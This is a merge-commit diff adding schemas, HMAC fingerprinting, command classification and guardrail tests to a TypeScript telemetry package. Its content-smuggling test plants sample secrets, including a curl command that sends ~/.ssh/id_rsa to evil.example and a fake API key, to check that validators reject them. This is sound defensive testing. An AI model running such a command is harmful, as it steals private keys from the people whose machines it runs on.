Merge pull request #821 from getagentseal/phase2/core-foundation

feat(core): observation schema, contracts, fingerprints, guardrail harnesses (phase 2)
This commit is contained in:
Resham Joshi 2026-07-26 10:47:34 -07:00 committed by GitHub
commit 68a5f52af3
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
26 changed files with 1709 additions and 6 deletions

12
package-lock.json generated
View file

@ -4152,6 +4152,18 @@
"name": "@codeburn/core",
"version": "0.9.19",
"license": "MIT",
"dependencies": {
"zod": "^3.25.76"
},
"devDependencies": {
"@types/node": "^22.0.0",
"ajv": "^8.17.1",
"tsup": "^8.0.0",
"tsx": "^4.19.0",
"typescript": "^5.5.0",
"vitest": "^3.1.0",
"zod-to-json-schema": "^3.24.1"
},
"engines": {
"node": ">=22.13.0"
}

View file

@ -10,18 +10,53 @@
".": {
"types": "./dist/index.d.ts",
"import": "./dist/index.js"
},
"./schema": {
"types": "./dist/schema.d.ts",
"import": "./dist/schema.js"
},
"./observations": {
"types": "./dist/observations.d.ts",
"import": "./dist/observations.js"
},
"./diagnostics": {
"types": "./dist/diagnostics.d.ts",
"import": "./dist/diagnostics.js"
},
"./fingerprint": {
"types": "./dist/fingerprint.d.ts",
"import": "./dist/fingerprint.js"
},
"./contracts": {
"types": "./dist/contracts.d.ts",
"import": "./dist/contracts.js"
}
},
"files": [
"dist"
"dist",
"schemas"
],
"scripts": {
"build": "tsup",
"typecheck": "tsc --noEmit"
"typecheck": "tsc --noEmit",
"test": "vitest run",
"emit-schemas": "tsx scripts/emit-schemas.mts"
},
"engines": {
"node": ">=22.13.0"
},
"dependencies": {
"zod": "^3.25.76"
},
"devDependencies": {
"@types/node": "^22.0.0",
"ajv": "^8.17.1",
"tsup": "^8.0.0",
"tsx": "^4.19.0",
"typescript": "^5.5.0",
"vitest": "^3.1.0",
"zod-to-json-schema": "^3.24.1"
},
"author": "AgentSeal <hello@agentseal.org>",
"license": "MIT",
"repository": {

View file

@ -0,0 +1,85 @@
{
"$ref": "#/definitions/Finding",
"definitions": {
"Finding": {
"type": "object",
"properties": {
"detectorId": {
"type": "string",
"minLength": 1,
"maxLength": 128
},
"algorithmVersion": {
"type": "string",
"pattern": "^\\d+\\.\\d+\\.\\d+(?:[-+][0-9A-Za-z.-]+)?$"
},
"confidence": {
"type": "object",
"properties": {
"score": {
"type": "number",
"minimum": 0,
"maximum": 1
},
"basis": {
"type": "string",
"minLength": 1,
"maxLength": 200
}
},
"required": [
"score",
"basis"
],
"additionalProperties": false
},
"evidence": {
"type": "array",
"items": {
"type": "object",
"properties": {
"kind": {
"type": "string",
"minLength": 1,
"maxLength": 64
},
"count": {
"type": "integer",
"minimum": 0
},
"refs": {
"type": "array",
"items": {
"type": "string",
"pattern": "^[0-9a-f]{16}$"
}
},
"sessionRefs": {
"type": "array",
"items": {
"type": "string",
"pattern": "^[0-9a-f]{16}$"
}
}
},
"required": [
"kind"
],
"additionalProperties": false
}
},
"impactUSD": {
"type": "number"
}
},
"required": [
"detectorId",
"algorithmVersion",
"confidence",
"evidence"
],
"additionalProperties": false
}
},
"$schema": "http://json-schema.org/draft-07/schema#"
}

View file

@ -0,0 +1,222 @@
{
"$ref": "#/definitions/ObservationEnvelope",
"definitions": {
"ObservationEnvelope": {
"type": "object",
"properties": {
"schemaVersion": {
"type": "string",
"const": "0.1.0"
},
"generator": {
"type": "object",
"properties": {
"name": {
"type": "string",
"const": "@codeburn/core"
},
"version": {
"type": "string",
"minLength": 1
}
},
"required": [
"name",
"version"
],
"additionalProperties": false
},
"sessions": {
"type": "array",
"items": {
"type": "object",
"properties": {
"sessionRef": {
"type": "string",
"pattern": "^[0-9a-f]{16}$"
},
"projectRef": {
"type": "string",
"pattern": "^[0-9a-f]{16}$"
},
"providerId": {
"type": "string",
"minLength": 1
},
"startedAt": {
"type": "string",
"format": "date-time"
},
"endedAt": {
"type": "string",
"format": "date-time"
},
"gitBranchRef": {
"type": "string",
"pattern": "^[0-9a-f]{16}$"
},
"isSidechain": {
"type": "boolean"
},
"calls": {
"type": "array",
"items": {
"type": "object",
"properties": {
"provider": {
"type": "string",
"minLength": 1
},
"model": {
"type": "string",
"minLength": 1
},
"pricingModel": {
"type": "string",
"minLength": 1
},
"tokens": {
"type": "object",
"properties": {
"input": {
"type": "integer",
"minimum": 0
},
"output": {
"type": "integer",
"minimum": 0
},
"reasoning": {
"type": "integer",
"minimum": 0
},
"cacheRead": {
"type": "integer",
"minimum": 0
},
"cacheCreate": {
"type": "integer",
"minimum": 0
}
},
"required": [
"input",
"output",
"reasoning",
"cacheRead",
"cacheCreate"
],
"additionalProperties": false
},
"webSearchRequests": {
"type": "integer",
"minimum": 0
},
"speed": {
"type": "string",
"enum": [
"standard",
"fast"
]
},
"costBasis": {
"type": "string",
"enum": [
"measured",
"estimated"
]
},
"measuredCostUSD": {
"type": "number",
"minimum": 0
},
"fallbackCostUSD": {
"type": "number",
"minimum": 0
},
"timestamp": {
"type": "string",
"format": "date-time"
},
"dedupKey": {
"type": "string",
"minLength": 1
},
"toolNames": {
"type": "array",
"items": {
"type": "string",
"minLength": 1,
"maxLength": 64,
"pattern": "^[A-Za-z0-9_.-]+$"
}
},
"turnIndex": {
"type": "integer",
"minimum": 0
},
"locAdded": {
"type": "integer",
"minimum": 0
},
"locRemoved": {
"type": "integer",
"minimum": 0
},
"interrupted": {
"type": "boolean"
},
"userModified": {
"type": "boolean"
},
"toolErrors": {
"type": "integer",
"minimum": 0
},
"editFailed": {
"type": "integer",
"minimum": 0
}
},
"required": [
"provider",
"model",
"tokens",
"webSearchRequests",
"speed",
"costBasis",
"timestamp",
"dedupKey",
"toolNames",
"turnIndex"
],
"additionalProperties": false
}
},
"turnCount": {
"type": "integer",
"minimum": 0
}
},
"required": [
"sessionRef",
"projectRef",
"providerId",
"startedAt",
"calls",
"turnCount"
],
"additionalProperties": false
}
}
},
"required": [
"schemaVersion",
"generator",
"sessions"
],
"additionalProperties": false
}
},
"$schema": "http://json-schema.org/draft-07/schema#"
}

View file

@ -0,0 +1,19 @@
// Emits the checked-in JSON Schemas from the zod validators. Run via
// `npm run emit-schemas -w @codeburn/core` (uses tsx). The drift test asserts
// the checked-in files equal a fresh emission, so re-run this after any schema
// change.
import { mkdirSync, writeFileSync } from 'node:fs'
import { dirname, join } from 'node:path'
import { fileURLToPath } from 'node:url'
import { buildJsonSchemas } from '../src/internal/json-schema.js'
const here = dirname(fileURLToPath(import.meta.url))
const outDir = join(here, '..', 'schemas')
mkdirSync(outDir, { recursive: true })
for (const [name, schema] of Object.entries(buildJsonSchemas())) {
const file = join(outDir, `${name}.json`)
writeFileSync(file, JSON.stringify(schema, null, 2) + '\n')
console.log(`wrote ${file}`)
}

View file

@ -0,0 +1,83 @@
import { z } from 'zod'
import type { RecordDiagnostic } from './diagnostics.js'
import { FingerprintHex } from './schema.js'
import type { ObservationEnvelope, SessionObservation } from './observations.js'
/**
* Finding schema version. 0.x per decision D8: pre-stability, minor bumps may
* break consumers.
*/
export const FINDING_SCHEMA_VERSION = '0.1.0'
// ---------------------------------------------------------------------------
// Decoder contract (types only — implementations live in per-provider packages)
// ---------------------------------------------------------------------------
/** Context a decoder needs, but that must never appear in its output. */
export interface DecodeContext {
/** Caller-supplied HMAC key for all fingerprints (decision D1). */
privacyKey: string
/** The provider whose records these are. */
providerId: string
/** An opaque fingerprint of the source (file/stream) being decoded. */
sourceRef: string
}
/**
* A decoder turns a batch of raw provider records into observations plus
* diagnostics, threading optional streaming `state` between batches.
*/
export type Decoder<TState = unknown> = (input: {
records: unknown[]
context: DecodeContext
state?: TState
}) => {
observations: SessionObservation[]
diagnostics: RecordDiagnostic[]
state?: TState
}
/** A detector inspects a full envelope and emits findings. */
export type Detector = (envelope: ObservationEnvelope) => Finding[]
// ---------------------------------------------------------------------------
// Finding contract (zod validators — this is a wire schema)
// ---------------------------------------------------------------------------
const SEMVER = /^\d+\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?$/
/**
* A single machine-readable piece of evidence. `refs`/`sessionRefs` may hold
* ONLY fingerprints (16-char hex) never raw ids so a finding cannot smuggle
* identifying data. `.strict()` blocks unknown fields.
*/
export const Evidence = z
.object({
kind: z.string().min(1).max(64),
count: z.number().int().nonnegative().optional(),
refs: z.array(FingerprintHex).optional(),
sessionRefs: z.array(FingerprintHex).optional(),
})
.strict()
export type Evidence = z.infer<typeof Evidence>
export const Confidence = z
.object({
score: z.number().min(0).max(1),
/** A short, algorithm-authored rationale (bounded to keep it non-narrative). */
basis: z.string().min(1).max(200),
})
.strict()
export type Confidence = z.infer<typeof Confidence>
export const Finding = z
.object({
detectorId: z.string().min(1).max(128),
algorithmVersion: z.string().regex(SEMVER, 'must be a semver string'),
confidence: Confidence,
evidence: z.array(Evidence),
impactUSD: z.number().optional(),
})
.strict()
export type Finding = z.infer<typeof Finding>

View file

@ -0,0 +1,94 @@
import { z } from 'zod'
import type { SessionObservation } from './observations.js'
/** Maximum length of a diagnostic detail message. */
export const DIAGNOSTIC_DETAIL_MAX = 200
/**
* A bounded, sanitized diagnostic message.
*
* The rule is deliberately crude but *structural*: reject any string containing
* a path separator ('/' or '\\'), and cap the length at 200 chars. A decoder
* cannot smuggle an absolute path (or most of a command line) through a
* diagnostic detail, because a path without separators is not a path.
*/
export const DiagnosticDetail = z
.string()
.max(DIAGNOSTIC_DETAIL_MAX)
.refine((s) => !s.includes('/') && !s.includes('\\'), {
message: 'diagnostic detail must not contain path separators ("/" or "\\\\")',
})
/** Classification of why a record could not be turned into an observation. */
export const DiagnosticCode = z.enum([
'malformed-json',
'unknown-shape',
'missing-required',
'invalid-value',
'other',
])
export type DiagnosticCode = z.infer<typeof DiagnosticCode>
export const RecordDiagnostic = z
.object({
/** Index of the offending record within the input batch, when known. */
index: z.number().int().nonnegative().optional(),
code: DiagnosticCode,
detail: DiagnosticDetail.optional(),
})
.strict()
export type RecordDiagnostic = z.infer<typeof RecordDiagnostic>
/**
* The result of decoding a batch. Poison records must never throw or drop their
* siblings; instead they surface as diagnostics. `state` is opaque and lets a
* streaming decoder thread its carry-over between batches.
*/
export interface DecodeResult<TState = unknown> {
observations: SessionObservation[]
diagnostics: RecordDiagnostic[]
state?: TState
}
/**
* Coerce an arbitrary caught value into a detail string that satisfies
* {@link DiagnosticDetail}: strip path separators and cap the length. Used so a
* thrown error whose message embeds a path cannot leak that path verbatim.
*/
export function sanitizeDetail(value: unknown): string {
const raw = value instanceof Error ? value.message : String(value)
return raw.replace(/[\\/]+/g, ' ').slice(0, DIAGNOSTIC_DETAIL_MAX)
}
/** The per-record outcome a caller's `decodeOne` may return. */
export interface RecordOutcome {
observations?: SessionObservation[]
diagnostics?: RecordDiagnostic[]
}
/**
* Generic poison-isolation loop. Runs `decodeOne` against each record; a record
* that throws becomes an 'other' diagnostic (with a sanitized message) and the
* loop continues, so one bad record never drops its siblings. This is the
* pattern every concrete decoder is expected to use.
*/
export function isolateRecords(
records: readonly unknown[],
decodeOne: (record: unknown, index: number) => RecordOutcome,
): { observations: SessionObservation[]; diagnostics: RecordDiagnostic[] } {
const observations: SessionObservation[] = []
const diagnostics: RecordDiagnostic[] = []
records.forEach((record, index) => {
try {
const outcome = decodeOne(record, index)
if (outcome.observations) observations.push(...outcome.observations)
if (outcome.diagnostics) diagnostics.push(...outcome.diagnostics)
} catch (err) {
diagnostics.push({ index, code: 'other', detail: sanitizeDetail(err) })
}
})
return { observations, diagnostics }
}

View file

@ -0,0 +1,211 @@
import { createHmac } from 'node:crypto'
/**
* All fingerprints are the first 16 hex chars of an HMAC-SHA256 keyed by a
* caller-supplied `privacyKey` (decision D1: the key is REQUIRED core never
* invents or persists one). HMAC-SHA256 is one-way, so a fingerprint cannot be
* reversed to its input; and because the key is per-host, fingerprints are not
* comparable across hosts that use different keys.
*
* `node:crypto` is pure computation (no I/O), so it is permitted in core.
*/
const FINGERPRINT_LEN = 16
/** Domain-separation prefixes so the same string in different roles differs. */
type Domain = 'session' | 'project' | 'branch' | 'resource'
/** Field separator for composite HMAC inputs (ASCII Unit Separator). */
const SEP = String.fromCharCode(0x1f)
function hmac(privacyKey: string, domain: Domain, ...parts: string[]): string {
if (!privacyKey) throw new Error('privacyKey is required')
return createHmac('sha256', privacyKey)
.update(`${domain}:${parts.join(SEP)}`)
.digest('hex')
.slice(0, FINGERPRINT_LEN)
}
export type ResourceClass =
| 'dependency'
| 'build'
| 'vcs'
| 'config'
| 'source'
| 'doc'
| 'other'
export interface ResourceFingerprint {
resourceClass: ResourceClass
resourceId: string
}
const DEPENDENCY_SEGMENTS = new Set(['node_modules', 'vendor', '.venv', 'site-packages'])
const BUILD_SEGMENTS = new Set(['dist', 'build', 'out', 'target', '.next'])
const CONFIG_EXTENSIONS = new Set(['json', 'yaml', 'yml', 'toml'])
const DOC_EXTENSIONS = new Set(['md', 'txt', 'rst'])
const SOURCE_EXTENSIONS = new Set([
'ts', 'tsx', 'js', 'jsx', 'mjs', 'cjs',
'py', 'go', 'rs', 'java', 'rb', 'php', 'swift', 'kt', 'kts', 'scala', 'cs',
'c', 'h', 'cc', 'cpp', 'hpp', 'hh', 'cxx', 'm', 'mm',
'sh', 'bash', 'zsh', 'sql', 'vue', 'svelte',
])
/**
* Normalise a path before hashing/classifying:
* 1. Backslashes -> forward slashes (so a Windows path and its POSIX spelling
* hash identically).
* 2. Strip trailing separator(s).
* 3. Case-fold (lowercase) ONLY when the path is Windows-style it either has
* a drive-letter prefix (`C:\...`) or used backslashes because Windows
* filesystems are case-insensitive. POSIX paths keep their case, since
* `Foo.ts` and `foo.ts` are distinct files there.
*/
export function normalizePath(absolutePath: string): string {
const looksWindows = /^[A-Za-z]:[\\/]/.test(absolutePath) || absolutePath.includes('\\')
let p = absolutePath.replace(/\\/g, '/')
p = p.replace(/\/+$/, '')
if (looksWindows) p = p.toLowerCase()
return p
}
function extensionOf(basename: string): string | undefined {
const dot = basename.lastIndexOf('.')
if (dot <= 0) return undefined // no ext, or leading dot (dotfile) -> not an extension
return basename.slice(dot + 1).toLowerCase()
}
/**
* Classify a path by its segments and basename. Precedence is directory-based
* first (a file under node_modules is a dependency regardless of its
* extension), then basename/extension-based:
* dependency > build > vcs > config(dotfile) > config(ext) > doc > source > other
*/
export function classifyResource(absolutePath: string): ResourceClass {
const normalized = normalizePath(absolutePath)
const segments = normalized.split('/').filter(Boolean)
for (const seg of segments) {
if (DEPENDENCY_SEGMENTS.has(seg)) return 'dependency'
}
for (const seg of segments) {
if (BUILD_SEGMENTS.has(seg)) return 'build'
}
for (const seg of segments) {
if (seg === '.git') return 'vcs'
}
const basename = segments[segments.length - 1] ?? ''
// A dotfile (e.g. `.eslintrc`, `.gitignore`) is configuration.
if (basename.startsWith('.') && basename.length > 1) return 'config'
const ext = extensionOf(basename)
if (ext) {
if (CONFIG_EXTENSIONS.has(ext)) return 'config'
if (DOC_EXTENSIONS.has(ext)) return 'doc'
if (SOURCE_EXTENSIONS.has(ext)) return 'source'
}
return 'other'
}
/**
* Fingerprint an absolute path into `{ resourceClass, resourceId }`. The class
* is a coarse, non-identifying bucket; the id is the domain-separated HMAC of
* the normalised path.
*/
export function resourceFingerprint(privacyKey: string, absolutePath: string): ResourceFingerprint {
return {
resourceClass: classifyResource(absolutePath),
resourceId: hmac(privacyKey, 'resource', normalizePath(absolutePath)),
}
}
/** Fingerprint a session id, scoped to its provider. */
export function sessionRef(privacyKey: string, provider: string, sessionId: string): string {
return hmac(privacyKey, 'session', provider, sessionId)
}
/** Fingerprint a project path (normalised first). */
export function projectRef(privacyKey: string, path: string): string {
return hmac(privacyKey, 'project', normalizePath(path))
}
/**
* Fingerprint a git branch name. Branch names leak feature intent, so only the
* ref crosses into the observation layer; the host keeps the raw name.
*/
export function branchRef(privacyKey: string, branch: string): string {
return hmac(privacyKey, 'branch', branch)
}
export type CommandFamily =
| 'git'
| 'test'
| 'build'
| 'package'
| 'run'
| 'fs'
| 'net'
| 'shell-other'
const RUNNERS = new Set(['npm', 'yarn', 'pnpm', 'npx', 'bunx'])
const FIRST_TOKEN: Record<string, CommandFamily> = {
git: 'git',
vitest: 'test', jest: 'test', pytest: 'test', mocha: 'test', ava: 'test',
make: 'build', tsc: 'build', tsup: 'build', webpack: 'build', vite: 'build', rollup: 'build', esbuild: 'build',
pip: 'package', pip3: 'package', gem: 'package', bundle: 'package', cargo: 'package', go: 'package',
apt: 'package', 'apt-get': 'package', brew: 'package', poetry: 'package',
node: 'run', deno: 'run', bun: 'run', python: 'run', python3: 'run', ruby: 'run', 'ts-node': 'run', tsx: 'run',
ls: 'fs', cp: 'fs', mv: 'fs', rm: 'fs', mkdir: 'fs', rmdir: 'fs', touch: 'fs', cat: 'fs', chmod: 'fs', chown: 'fs', find: 'fs', ln: 'fs',
curl: 'net', wget: 'net', ssh: 'net', scp: 'net', rsync: 'net', nc: 'net', ping: 'net', dig: 'net',
}
// For a runner (npm/yarn/...), the SECOND token decides.
const RUNNER_SUBCOMMAND: Record<string, CommandFamily> = {
test: 'test',
run: 'run', start: 'run', exec: 'run', dev: 'run',
build: 'build',
install: 'package', ci: 'package', add: 'package', remove: 'package', uninstall: 'package', update: 'package', i: 'package',
}
function basenameToken(token: string): string {
const cleaned = token.replace(/\\/g, '/')
const base = cleaned.slice(cleaned.lastIndexOf('/') + 1)
return base.toLowerCase()
}
/**
* Classify a command by its leading token(s) only. The function accepts the
* full command string for the caller's convenience but is documented to NEVER
* store or return it only the coarse family is emitted.
*/
export function commandFamily(command: string): CommandFamily {
const tokens = command.trim().split(/\s+/).filter(Boolean)
if (tokens.length === 0) return 'shell-other'
const first = basenameToken(tokens[0])
if (RUNNERS.has(first)) {
const sub = tokens[1] ? basenameToken(tokens[1]) : ''
// `npm run <script>` / `npm exec <bin>`: the family is decided by the script.
if (sub === 'run' || sub === 'exec') {
const script = tokens[2] ? basenameToken(tokens[2]) : ''
return RUNNER_SUBCOMMAND[script] ?? 'run'
}
return RUNNER_SUBCOMMAND[sub] ?? 'run'
}
// `go test` / `go build` refine the generic `go` runner.
if (first === 'go' && tokens[1]) {
const sub = basenameToken(tokens[1])
if (sub === 'test') return 'test'
if (sub === 'build' || sub === 'install' || sub === 'get') return 'build'
}
// Classify by the binary's basename first (so `/opt/bin/git` is git), then
// fall back to treating a bare path invocation like `./scripts/x.sh` as a run.
const known = FIRST_TOKEN[first]
if (known) return known
if (tokens[0].startsWith('./') || tokens[0].startsWith('/') || tokens[0].startsWith('../')) return 'run'
return 'shell-other'
}

View file

@ -1 +1,5 @@
export {}
export * from './schema.js'
export * from './observations.js'
export * from './diagnostics.js'
export * from './fingerprint.js'
export * from './contracts.js'

View file

@ -0,0 +1,23 @@
// Build/test-only. NOT part of the package's runtime exports or any tsup entry,
// so `zod-to-json-schema` stays a devDependency and never enters `dist`. This
// keeps core's sole RUNTIME dependency `zod`.
import { zodToJsonSchema } from 'zod-to-json-schema'
import { Finding, FINDING_SCHEMA_VERSION } from '../contracts.js'
import { ObservationEnvelope } from '../observations.js'
import { OBSERVATION_SCHEMA_VERSION } from '../schema.js'
/** Deterministic, self-contained (fully inlined) JSON Schemas from the zod validators. */
export function buildJsonSchemas(): Record<string, unknown> {
const opts = { target: 'jsonSchema7', $refStrategy: 'none' } as const
return {
[`observation-${OBSERVATION_SCHEMA_VERSION}`]: zodToJsonSchema(ObservationEnvelope, {
...opts,
name: 'ObservationEnvelope',
}),
[`finding-${FINDING_SCHEMA_VERSION}`]: zodToJsonSchema(Finding, {
...opts,
name: 'Finding',
}),
}
}

View file

@ -0,0 +1,107 @@
import { z } from 'zod'
import {
CanonicalToolName,
CostBasis,
FingerprintHex,
IsoTimestamp,
NonNegInt,
NonNegUSD,
OBSERVATION_SCHEMA_VERSION,
Speed,
TokenBuckets,
} from './schema.js'
/**
* A single model call.
*
* Every field is either an opaque id, an enum, a number, a timestamp, a
* fingerprint, or a canonical-name array. There is deliberately no field that
* can hold free text: no user message, no title, no path, no command line, no
* tool arguments, no file contents. `.strict()` rejects unknown fields, so a
* decoder cannot append one either that is the structural anti-smuggling
* property.
*/
export const CallObservation = z
.object({
provider: z.string().min(1),
model: z.string().min(1),
pricingModel: z.string().min(1).optional(),
tokens: TokenBuckets,
webSearchRequests: NonNegInt,
speed: Speed,
costBasis: CostBasis,
/** Present only when costBasis === 'measured'. Enforced by the refine below. */
measuredCostUSD: NonNegUSD.optional(),
/** A fallback estimate the host may keep alongside a measured figure. */
fallbackCostUSD: NonNegUSD.optional(),
timestamp: IsoTimestamp,
dedupKey: z.string().min(1),
/** Canonical tool names only — never arguments. */
toolNames: z.array(CanonicalToolName),
turnIndex: NonNegInt,
// Rich-capture numerics: first-class optional fields.
locAdded: NonNegInt.optional(),
locRemoved: NonNegInt.optional(),
interrupted: z.boolean().optional(),
userModified: z.boolean().optional(),
toolErrors: NonNegInt.optional(),
editFailed: NonNegInt.optional(),
})
.strict()
.refine(
(c) => c.measuredCostUSD === undefined || c.costBasis === 'measured',
{ message: 'measuredCostUSD is only allowed when costBasis is "measured"', path: ['measuredCostUSD'] },
)
export type CallObservation = z.infer<typeof CallObservation>
/**
* A single session (a conversation / run).
*
* Identity is carried only as fingerprints. Branch names are fingerprinted too:
* a raw branch name leaks feature intent, so the host keeps the raw value for
* its own display and hands the observation layer only `gitBranchRef`.
*/
export const SessionObservation = z
.object({
sessionRef: FingerprintHex,
projectRef: FingerprintHex,
providerId: z.string().min(1),
startedAt: IsoTimestamp,
endedAt: IsoTimestamp.optional(),
gitBranchRef: FingerprintHex.optional(),
isSidechain: z.boolean().optional(),
calls: z.array(CallObservation),
turnCount: NonNegInt,
})
.strict()
export type SessionObservation = z.infer<typeof SessionObservation>
/** The top-level container a decoder produces. */
export const ObservationEnvelope = z
.object({
schemaVersion: z.literal(OBSERVATION_SCHEMA_VERSION),
generator: z
.object({
name: z.literal('@codeburn/core'),
version: z.string().min(1),
})
.strict(),
sessions: z.array(SessionObservation),
})
.strict()
export type ObservationEnvelope = z.infer<typeof ObservationEnvelope>
/** Parse-or-throw. Convenience wrapper over `ObservationEnvelope.parse`. */
export function parseObservationEnvelope(input: unknown): ObservationEnvelope {
return ObservationEnvelope.parse(input)
}
/** Non-throwing parse. Returns zod's discriminated `SafeParseReturnType`. */
export function safeParseObservationEnvelope(input: unknown) {
return ObservationEnvelope.safeParse(input)
}

View file

@ -0,0 +1,63 @@
import { z } from 'zod'
/**
* ObservationEnvelope schema version. 0.x per decision D8: the observation
* contract is pre-stability, so consumers must treat minor bumps as breaking.
*/
export const OBSERVATION_SCHEMA_VERSION = '0.1.0'
/**
* A privacy-preserving fingerprint: the first 16 hex chars of an HMAC-SHA256.
* Modelled as a strict 16-char lowercase-hex string so the schema can only ever
* carry an opaque ref never a raw id, path, or branch name (anti-smuggling).
*/
export const FingerprintHex = z
.string()
.regex(/^[0-9a-f]{16}$/, 'must be a 16-char lowercase hex fingerprint')
/** A non-negative integer (token counts, LOC deltas, error counts). */
export const NonNegInt = z.number().int().nonnegative()
/** A non-negative dollar amount. */
export const NonNegUSD = z.number().nonnegative()
/**
* ISO-8601 timestamp. Offsets are permitted so hosts in any timezone can emit
* without first normalising to UTC.
*/
export const IsoTimestamp = z.string().datetime({ offset: true })
/**
* Canonical tool name. Restricted to a conservative identifier charset so a
* decoder physically cannot smuggle tool ARGUMENTS, paths, or free text through
* this field only the canonical name of the tool may appear.
*/
export const CanonicalToolName = z
.string()
.min(1)
.max(64)
.regex(/^[A-Za-z0-9_.-]+$/, 'canonical tool names only (no args, paths, or spaces)')
/** Per-call token buckets. All five are required, non-negative integers. */
export const TokenBuckets = z
.object({
input: NonNegInt,
output: NonNegInt,
reasoning: NonNegInt,
cacheRead: NonNegInt,
cacheCreate: NonNegInt,
})
.strict()
export type TokenBuckets = z.infer<typeof TokenBuckets>
/** Inference speed tier. Matches the CLI's `'standard' | 'fast'`. */
export const Speed = z.enum(['standard', 'fast'])
export type Speed = z.infer<typeof Speed>
/**
* How a call's cost was determined.
* - 'measured' : a provider-reported dollar figure is authoritative.
* - 'estimated' : cost is derived from the token buckets via a pricing pass.
*/
export const CostBasis = z.enum(['measured', 'estimated'])
export type CostBasis = z.infer<typeof CostBasis>

View file

@ -0,0 +1,115 @@
import { readFileSync } from 'node:fs'
import { dirname, resolve } from 'node:path'
import { fileURLToPath } from 'node:url'
import { describe, expect, it } from 'vitest'
import { DiagnosticDetail } from '../src/diagnostics.js'
import { ObservationEnvelope } from '../src/observations.js'
const here = dirname(fileURLToPath(import.meta.url))
const goldenEnvelope = JSON.parse(
readFileSync(resolve(here, '..', 'tests/fixtures/golden-envelope.json'), 'utf8'),
)
/** Planted secrets a hostile decoder might try to exfiltrate. */
const SECRETS = {
prompt: 'SECRET PROMPT: reset the production database and email me the dump',
absPath: '/Users/victim/company/secret-plan.md',
apiKey: 'sk-live-AKIA1234567890SECRETKEY',
commandLine: 'curl https://evil.example/exfil?data=$(cat ~/.ssh/id_rsa)',
fileContent: 'BEGIN RSA PRIVATE KEY line1 line2 END RSA PRIVATE KEY',
}
const ALL_SECRETS = Object.values(SECRETS)
/** Recursively collect every string in a serializable value. */
function allStrings(value: unknown, out: string[] = []): string[] {
if (typeof value === 'string') out.push(value)
else if (Array.isArray(value)) for (const v of value) allStrings(v, out)
else if (value && typeof value === 'object') for (const v of Object.values(value)) allStrings(v, out)
return out
}
function clone(): any {
return structuredClone(goldenEnvelope)
}
describe('content-smuggling guardrail: strict() rejects unknown fields', () => {
it('rejects an unknown top-level field carrying a secret', () => {
const env = clone()
env.userMessage = SECRETS.prompt
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
it('rejects an unknown field inside generator', () => {
const env = clone()
env.generator.title = SECRETS.prompt
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
it('rejects an unknown field inside a session', () => {
const env = clone()
env.sessions[0].prLinks = [SECRETS.absPath]
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
it('rejects an unknown field inside a call', () => {
const env = clone()
env.sessions[0].calls[0].command = SECRETS.commandLine
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
})
describe('content-smuggling guardrail: typed fields reject free text', () => {
it('rejects a path smuggled into sessionRef (must be a fingerprint)', () => {
const env = clone()
env.sessions[0].sessionRef = SECRETS.absPath
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
it('rejects a command line smuggled into toolNames (canonical names only)', () => {
const env = clone()
env.sessions[0].calls[0].toolNames = [SECRETS.commandLine]
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
it('rejects a prompt smuggled into a timestamp', () => {
const env = clone()
env.sessions[0].calls[0].timestamp = SECRETS.prompt
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
it('rejects file content smuggled into a numeric token bucket', () => {
const env = clone()
env.sessions[0].calls[0].tokens.input = SECRETS.fileContent
expect(ObservationEnvelope.safeParse(env).success).toBe(false)
})
})
describe('content-smuggling guardrail: accepted output is secret-free', () => {
it('the parsed clean envelope contains none of the planted secrets', () => {
const parsed = ObservationEnvelope.parse(goldenEnvelope)
const haystack = allStrings(parsed).join('\n')
for (const secret of ALL_SECRETS) {
expect(haystack).not.toContain(secret)
}
})
it('even a serialized round-trip surfaces no secret', () => {
const parsed = ObservationEnvelope.parse(goldenEnvelope)
const serialized = JSON.stringify(parsed)
for (const secret of ALL_SECRETS) {
expect(serialized).not.toContain(secret)
}
})
})
describe('content-smuggling guardrail: diagnostic detail rejects paths', () => {
it('rejects an absolute path', () => {
expect(DiagnosticDetail.safeParse(SECRETS.absPath).success).toBe(false)
})
it('rejects a command line (contains a slash)', () => {
expect(DiagnosticDetail.safeParse(SECRETS.commandLine).success).toBe(false)
})
})

View file

@ -0,0 +1,90 @@
import { describe, expect, it } from 'vitest'
import {
DIAGNOSTIC_DETAIL_MAX,
DiagnosticDetail,
RecordDiagnostic,
isolateRecords,
sanitizeDetail,
} from '../src/diagnostics.js'
import type { SessionObservation } from '../src/observations.js'
const fakeSession = (ref: string): SessionObservation => ({
sessionRef: ref,
projectRef: '0000000000000000',
providerId: 'claude',
startedAt: '2026-07-17T10:00:00.000Z',
calls: [],
turnCount: 0,
})
describe('DiagnosticDetail validator', () => {
it('accepts a bounded, path-free message', () => {
expect(DiagnosticDetail.safeParse('unexpected token at position 4').success).toBe(true)
})
it('rejects forward-slash paths', () => {
expect(DiagnosticDetail.safeParse('failed on /home/u/secret.json').success).toBe(false)
})
it('rejects backslash paths', () => {
expect(DiagnosticDetail.safeParse('failed on C:\\Users\\me\\x').success).toBe(false)
})
it('rejects strings over the max length', () => {
expect(DiagnosticDetail.safeParse('x'.repeat(DIAGNOSTIC_DETAIL_MAX + 1)).success).toBe(false)
})
it('RecordDiagnostic is strict (rejects unknown fields)', () => {
expect(
RecordDiagnostic.safeParse({ code: 'other', detail: 'ok', extra: 'nope' }).success,
).toBe(false)
})
})
describe('sanitizeDetail', () => {
it('strips path separators so the result passes DiagnosticDetail', () => {
const out = sanitizeDetail(new Error('cannot read /etc/passwd or C:\\secret'))
expect(out).not.toMatch(/[\\/]/)
expect(DiagnosticDetail.safeParse(out).success).toBe(true)
})
it('caps length at the max', () => {
expect(sanitizeDetail('y'.repeat(1000)).length).toBe(DIAGNOSTIC_DETAIL_MAX)
})
})
describe('isolateRecords poison isolation', () => {
it('a throwing record becomes a diagnostic and never drops its siblings', () => {
const records = ['good-1', 'POISON', 'good-2']
const { observations, diagnostics } = isolateRecords(records, (record, index) => {
if (record === 'POISON') throw new Error('kaboom at /secret/path')
return { observations: [fakeSession(`ref-${index}`)] }
})
expect(observations.map((o) => o.sessionRef)).toEqual(['ref-0', 'ref-2'])
expect(diagnostics).toHaveLength(1)
